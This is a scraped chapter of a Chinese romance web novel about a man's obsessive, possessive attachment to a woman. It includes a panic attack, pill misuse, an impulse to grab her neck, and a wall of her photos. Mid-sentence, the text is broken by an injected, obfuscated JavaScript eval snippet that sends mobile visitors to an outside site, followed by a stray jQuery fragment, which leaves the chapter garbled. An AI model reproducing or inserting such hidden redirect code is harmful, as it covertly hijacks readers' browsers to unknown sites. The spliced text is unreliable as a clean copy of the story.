默认冷灰
24号文字
方正启体

11. Chapter 11

作者:霁梨舟本书字数:K更新时间:
    半晌过去,沈栀钰站起身,她勾唇温柔哄他:“好阿羡,要不要回家躺在柔软的床上吹着凉爽的空调啊?”


    岑濯羡努嘴还是不愿意,沈栀钰妥协了:“阿羡啊,今天真的、一定、确定要去坐摩天轮吗?”


    岑濯羡象征性地挤出几滴泪,连连点头。


    买完票后,两个人最终坐上了摩天轮。


    摩天轮缓缓转动,沈栀钰坐在岑濯羡对面,兴许是她大部分时间都集中在工作上,很少停下脚步认真欣赏这座城市的夜景,今晚她侧过头通过透明轿厢向万千灯火望去,眼底熠熠闪光。


    岑濯羡没好气地坐在她对面,她没向自己分出一缕视线,她的目光所及怎么能有除了自己以外的东西,他不允许……


    岑濯羡转了转眼珠子,计上心来。他紧蹙着眉,头轻轻靠在轿厢,手揉着太阳穴,一双深邃的眼眸委屈巴巴盯着她,时不时无辜地眨两下眼,勾着眼前的人。


    沈栀钰望着窗外入了神,丝毫没有注意到岑濯羡整出的动静。岑濯羡气得无言以对,既然她不坐过来,那就只有他坐到她那方去。


    他正起身还没开始迈步,身体真的因为酒精而不稳,沈栀钰连忙起身往他那方去扶住他坐下,她顺势坐到他身边去。岑濯羡稍稍满意了,嘴角抑制不住上扬,沈栀钰蓦然朝他投去目光,他硬生生压抑住自己的窃喜,生怕被沈栀钰看到。


    沈栀钰瞥了他两眼,担心道:“不舒服吗?要不要靠在我肩上缓一缓神,摩天轮转得有些慢,估计还有好一会儿才能下去。”


    岑濯羡求之不得,他又开始矫揉造作,揉着眉心喃喃自语:“是挺难受的,要晕了要晕了,那我靠着你一会儿吧……”


    沈栀钰见他那副模样内心毫无波澜,不是自己非要来坐摩天轮吗,难受那就得受着。


    岑濯羡轻轻靠着她,他又忍不住想要埋头嗅她身上淡雅的香味,那温暖的气息包裹着他,他久违地感到安心,比靠着她留下的物件痛苦捱过的那六年放松千百倍。


    沈栀钰问出了心中的疑惑:“岑濯羡,你脸上的伤是怎么回事?”


    岑濯羡还在组织措辞,沈栀钰平淡道:“你掩掩藏藏一天,想不注意到都很困难,况且这些伤不难看,重要的是你会很痛吗?”


    岑濯羡靠着她的头,眼神呆滞又空洞,他乖乖回答:“嗯,原来很痛,现在不痛了。”


    “岑濯羡,别再受伤,爱你的人会担心,也会跟着受伤。”


    她想说别再被别人伤害,通过反抗避免自己受伤才是万全之策。


    无论是心理还是物理意义上,都会很难过很痛吧,这样的伤会是谁留下的呢,他那么高大,除非是心甘情愿挨着,很难有人能伤到脸上吧。


    沈栀钰不知为什么心里说不出的酸涩,她不再追问下去,是谁伤的,原因是什么,统统不重要,何必在别人伤口上撒盐。


    轿厢内陷入了良久的沉默,摩天轮仍在转动,他们的轿厢行到最高点了,岑濯羡正经开口:“很多人都说,摩天轮升到最高点的时候,接吻的恋人会长长久久在一起,真的这么神奇吗?”


    这样的说法沈栀钰见怪不怪,她写过的不少作品里都涉及到这种桥段,真真假假,谁说得清楚究竟准还是不准。


    沈栀钰轻飘飘地说:“信则有不信则无,真心带着想要长久的愿望一起来坐摩天轮,都会成真吧。”


    分不清是酒精的作用还是他的本心,岑濯羡不禁问:“栀子,这六年你有过其他喜欢或者心动的人吗?”


    沈栀钰不假思索:“没有。”


    方才她正沉浸在自己的思绪里,也不知道他在瞎问些什么,更没有注意到他话里的“其他”。


    紧接着又是一阵缄默,直到摩天轮转动结束,两个人都揣着各自的心思一言不发。


    最后还是沈栀钰将岑濯羡的车开回了“枫湖天城”,两个人在楼下道别,岑濯羡清醒了不少,沈栀钰也就没必要亲自送他回去。


    ·


    那方,许檐青刚赶回凌聿就来找沈栀钰了,正巧在楼底下碰上面,他这才得知她今天和岑濯羡待了一整天。


    许檐青紧张地拉着她的胳膊:“他没有对你怎么样吧?”


    沈栀钰被他晃得头晕,她撇开许檐青的手,安慰道:“我这不是安安全全到家楼底下了吗,别这么紧张啦。”


    沈栀钰还不知道他为什么突如其来出现在自己家楼底下,她启唇问:“时间这么赶跑到这里来,是有什么事吗?”


    许檐青解释道:“刚下飞机给你发消息你没回,打电话也没接,我担心就过来了,你没事就好。你是不知道,早知道不回京淮了,我还在想是哪位重要客人呢,回去才知道是我爸妈一个朋友,他们糊弄我呢,从小我就不喜欢那个大人,又刁钻又刻薄,我还以为爸妈和他家断联了呢,我连寒暄都懒得寒暄。行了小栀,很晚了,那我先回去了。”


    沈栀钰点点头:“我手机静音了没看见你的消息和电话,你回去的时候注意安全啊。”


    她目送许檐青离开,等她准备上楼时,不经意往回一瞥,岑濯羡正阴沉着脸站在黑暗里,黑不见底的眼睛眨也不眨地盯着她,他垂着的手不停往地下淌着什么液体。


    沈栀钰定睛一看,竟然是血。


    她着急忙慌过去喊他:“岑濯羡,你的手一直在流血,得尽快去医院包扎一下。”


    岑濯羡不为所动,从前他受到小伤不痛不痒,也不想着解决伤口,刚才他不小心被玻璃渣伤到手后第一次生出了想要包扎的想法,他不想让沈栀钰看到自己的脆弱,他得足够强大更得足够勇敢才具备爱她的资格。


    刚一下楼,就看见沈栀钰正和一个男人说话,两个人好像很亲密的样子,他已经忘了伤口的痛以及渗出的血。


    而那个人偏偏是岑濯羡恨了很久又怕了很久的人——许檐青。


    当初要不是许檐青,他又怎么会……


    如果许檐青从自己身边夺走了沈栀钰该怎么办,不同于自己,许檐青才是真真实实陪伴了沈栀钰六年的人,岑濯羡心慌神乱,他该怎样做才能比得过许檐青的六年。


    沈栀钰见他不说话,自顾自拉着他往外走,岑濯羡倏忽间止步,他平淡道:“伤口不深,不用去医院,买点医用纱布就好了。”


    沈栀钰家里常备着医药箱,她开口:“我家里有医药箱,我去拿下来……算了,你和我一起上去吧,节省时间。”


    岑濯羡还深陷在抓狂的嫉妒中,沈栀钰已经替自己把伤口包扎好。


    沈栀钰还在收拾医药箱,他的目光缓缓移向她,他母亲何旖像幽灵一样重复在自己耳畔说着先前的话。


    “……如果不用鸟笼关起来,终有一天,它会飞到你永远找不到的远方……”


    “……你只能悔恨,悔恨怎么没有早点把它囚禁在方寸之地……”


    岑濯羡站起身,慢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543282|171084||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慢走到她身后,他凝视着她白皙的后脖颈,他忍不住伸出双手移动到她后脖颈,那双骨节分明的手颤抖着挣扎。


    “对的,就是这样,抓住了她的翅膀,她才能永远属于你……”


    岑濯羡头昏脑胀,他霍然缩回手,不停地拍打自己的头,喃喃自语:“求你不要再说了……不要再说了……”


    沈栀钰猝然转过身,只见岑濯羡正痛苦地蜷缩在地上,手重重地敲打着自己的头部。


    他泪眼婆娑,嘴里不停念叨些什么,沈栀钰听不清,她朝岑濯羡走去。


    他眼前一切景象都已经扭曲,连沈栀钰也是扭曲的,空间还在不断扭曲变形。他看不见任何正常的事物,耳畔只能听清沈栀钰的声音,他也只能通过声音辨别她位置的远近。


    岑濯羡就像找到救命稻草一样,拼命地向她求救:“你在哪里……我好痛苦……”


    沈栀钰本能地后退几步,岑濯羡的呼吸更加急促,他几度感到呼吸不上来,坠落于窒息的边缘。


    再这样下去,他肯定会呼吸性碱中毒,沈栀钰赶紧舒缓他的情绪,她握住岑濯羡的手,正色道:“岑濯羡,我就在这啊,你冷静点,深呼吸,慢慢的!”


    他的情绪有所好转,岑濯羡拽着她的衣角:“你哪里也别去……别走好不好……我只有你了……”


    他神志不清,不断重复:“我只有你啊……”


    泪一行一行沿着脸颊向下流,模糊了他的视线。


    沈栀钰温声细语:“我不走,我一直在。”


    他伏在她的脚边,头枕在她的腿上,沈栀钰没说话,轻轻抚着他的背,岑濯羡仰头用那双盛满泪水的眼睛伤情地望着她,她低头与他视线相交,伸手用指腹揩去他滚烫的泪。过了很久,他的呼吸渐趋平稳,脸上残留浅浅的痕迹。


    清醒过来的他所有感官感受只剩下羞耻,全都被自己搞砸了,他怎么可以在她面前露出这一面,他猛然起身,捂着嘴匆匆道歉:“对不起,我不是故意的,我、我会给你解释的。”


    沈栀钰拉住他的胳膊:“岑濯羡,你的情况最好……”


    他最糟糕的一面就这样赤裸裸袒露,他整张脸都因羞耻而燃烧。


    岑濯羡仓皇而逃,沈栀钰很担心他的状态,跟着他下楼,起码得看着他安全到家,但他不容她靠近,她只得远远看着,他将自己留在地上的血清理干净了才进楼里。


    岑濯羡跌跌撞撞回到家,他卸去全部力气躺在沙发上,一只手撑在自己的额头上。


    懊悔,还是懊悔,他怎么能在她面前像疯了一样。


    一整个晚上他都辗转难眠,他从床头柜里取出药瓶,不顾剂量往自己嘴里送,仍然无效。好不容易睡了过去,不到两个小时,他又醒了,她早已把沈栀钰的东西都放置在了自己秘密买的庄园里。


    他无法安心入睡,在床上翻来覆去,还遭噩梦侵袭。除了满房间贴满的沈栀钰的照片,他什么也没有。


    他浑浑噩噩站起身,从照片墙上取下一堆她的照片,那是他曾经给沈栀钰拍的,他将照片一张张全部洗了出来,全部都没来得及送给沈栀钰。


    他用手摩挲着照片,眸光流转,温情脉脉。


    他躺回床上,撩起自己的上衣,用嘴衔住衣角,呼吸逐渐变得沉重,整个人滚烫无比,渐渐的,酥麻感席卷全身。


    天微微泛白,他终于入了梦乡,床上凌凌乱乱散落着沈栀钰的照片。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)